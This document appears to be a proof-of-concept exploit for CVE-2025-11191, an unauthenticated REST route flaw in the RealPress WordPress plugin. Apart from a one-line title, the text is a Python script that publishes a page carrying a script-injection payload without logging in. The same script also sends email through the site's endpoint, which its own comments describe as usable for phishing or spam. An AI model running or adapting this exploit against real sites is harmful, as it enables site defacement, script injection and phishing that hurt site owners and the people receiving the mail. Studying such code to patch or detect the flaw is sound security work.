CVE-2025-11191: WordPress RealPress插件未授权REST路由权限绕过漏洞

import requests import json # CVE-2025-11191 PoC - RealPress WordPress Plugin Unauthorized REST API Access # Target: WordPress site with RealPress plugin < 1.1.0 TARGET_URL = "http://target-wordpress-site.com" def create_page_via_rest(): """ Exploit: Create a new page without authentication The plugin's REST route lacks proper permission_callback """ endpoint = f"{TARGET_URL}/wp-json/realpress/v1/pages" # Payload to create a new page payload = { "title": "Malicious Page", "content": "<script>alert('XSS Payload')</script>", "status": "publish" } headers = { "Content-Type": "application/json", "X-WP-Nonce": "" # No nonce required due to missing permission check } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code in [200, 201]: print("[+] Page created successfully - VULNERABLE!") return True else: print("[-] Request failed") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def send_email_via_rest(): """ Exploit: Send emails through the vulnerable REST endpoint Can be used for phishing or spam campaigns """ endpoint = f"{TARGET_URL}/wp-json/realpress/v1/send-email" payload = { "to": "[email protected]", "subject": "Phishing Email", "body": "Click here to win a prize!", "from": "[email protected]" } headers = { "Content-Type": "application/json" } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) print(f"[*] Email Send - Status: {response.status_code}") if response.status_code in [200, 201]: print("[+] Email sent successfully - VULNERABLE!") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("=" * 50) print("CVE-2025-11191 RealPress Plugin PoC") print("=" * 50) create_page_via_rest() send_email_via_rest()